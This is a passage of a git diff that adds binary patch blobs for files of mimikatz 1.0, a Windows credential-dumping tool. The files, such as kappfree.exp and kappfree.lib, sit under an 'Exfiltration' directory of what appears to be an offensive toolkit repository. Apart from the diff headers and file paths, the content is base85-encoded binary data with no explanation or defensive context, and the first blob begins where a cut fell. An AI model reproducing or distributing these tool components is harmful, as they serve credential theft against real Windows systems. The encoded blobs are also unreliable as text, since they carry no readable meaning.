zzv|J_Uzwjazi2*S4wwhbpPAK`3QLWp!IEH|Xq{m#w3b^}p{@PaOIBM}S=Oqod$YD? zZO{5y){(5gWSyh-XXD#8I5+8T)7`IoS+_8?JhfJDH!L*trJqk%Wn7yvEn|L0MaG(p zwv2}|o8c*Zh6A; zl;vs5I~K_@(VA?XVx4BySq;_8hCMwTHfBg+gL@5_2I z%b&GB>p<3_te&i+S;w(F)U-qxMeeXRRTcTpFW zGA1QH<+_xcQl_UEQ>-boQ;JfSr2IJLw<)iu%+nX^m*}_Y&p-pX4G$Q08m^zoEoaTg z0z#RhN=Z(ck`iZ41f|nJr5Pikz`DS?#9Cpkwer>t))wnFQ2em@z zKDinB;Lf8NPh=d(IGQn#f&VSbm|6LnwUai;anevkfT{Jh(K{Q>ihKr`g8h0{g9qBC=Duu+MqSW84?VM(1*#;h|{1G4bX~aLpC&HKD6K-!vSbP(V$LC zNJ~shg2YcrTV%9nF34Pzxg>LWW<{nmvo^B<^4f+`xgFzjXXe8gn~!Ebk@*zl_hsm{ e{h0@#+j=sOW**P%&Fsqr@Ba1tiv!=11OEqUTfzhY literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.exp b/Exfiltration/mimikatz-1.0/Win32/kappfree.exp new file mode 100644 index 0000000000000000000000000000000000000000..a6fb957770692a5adb31b685b2a1a2e5fd9a05d2 GIT binary patch literal 693 zcmbtS-AV#M6h5n!5fORc#Rgs|=B5TA{g5OXlA0*!%|MLqsKfruGQ0lZixl(*Jy`cW zft}fPt*$%lIrE*5GiScpGfgc4`L{;*Gy$*=p=ky)X+Wby#X7o){-F}IJ@hJmhRKGr zNv5YbW!D_jk3Z=Zz&}hH2a22UG?FIK&bZ2`MjJqMqhEdg>AyQgXVa*q!b3AqcS{fnLuE-+~rn4dGhy|0qDYNZ|rN<<9m>W== zG~BtcSfRxoZqZ;xoDC?Hj3OCu_o7U;I@!{LJlv#H*jP!6>;M-r*Pz8mQutyV=-F;g zZ#LRb@CvtS7%j|y%7_I3TQb$EBgI5gN3V06`FeI)xy+HD)BD_?QCsf?Gm{IwRK$Dq zYh=h>VsqCrR1Y|UN?Hx)W%JvsBjI=kH^uxN)@yaU-_Ju;Cc$5|se^mVm_>}7cymlZ j4I^fvDm9dtSv*U8SH&%pX&2E-aJOY*6-b1Z2uJx1NR*4I literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kappfree.lib b/Exfiltration/mimikatz-1.0/Win32/kappfree.lib new file mode 100644 index 0000000000000000000000000000000000000000..0f5d04765abf74c2c49fcef53c94323a69090a3d GIT binary patch literal 1702 zcmcIl&2G~`5dLh3Qmm?qC>%kqR0$AL$d6r8gpgZ`L{vAeTvr@jlcY4Fm7_HD%B?3J zfCFcqpeIg!0uCH_0M31fGPBu9Tu32QVIuGB%+Buo>^GbFr%AW5_so9eT%=N^TJ${k z@sf8@U({l$yr^e8Hh^n@aST`|K<*5f^7)J7+WO{37{#kEww{Nz&1fTx-zJ^TZnxD! z9M`vl;CBnW7n8n0^m4nt7OyTx%e19^(23*2UefKog7ANiyfTbDN1-1Zz=;K%k>F3M zRA9hFj(!&Tyh;wEBfUH`Nx9J6-{*Y(R(*G=I;ehNSa|rc7S2*0)07X9QE0Yazk9Q= z)fa&kntTvJb07JYLc5vtl7+G?-J;1?`hI8yl?6VEr`m2&t1-(H@+WpI`fyH7;&Zsc zB4)Bl-NRh|Iw|=;CdN#9baTDk=%$D1ZqKxQCeqz4@eH$D1<^K)^?dzd&r6Oy$LsEGGOqw-@A({$ zF*6a-cr^@74lQM`ltGKB(DFq^$1#pZOH(ZkhYVUOqGhyv7D01H%l|>aI5&HTqPX;7 zv9m}Sr_0J!dF^&=>9X(Sp?}Y#>-L8(^Q2UaM((mKWxC82J==W~LG#JhcbuBuCC`(? bqAO5z_0DKV6rk19;QFV)6Xjk6t8?pZ?N# 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 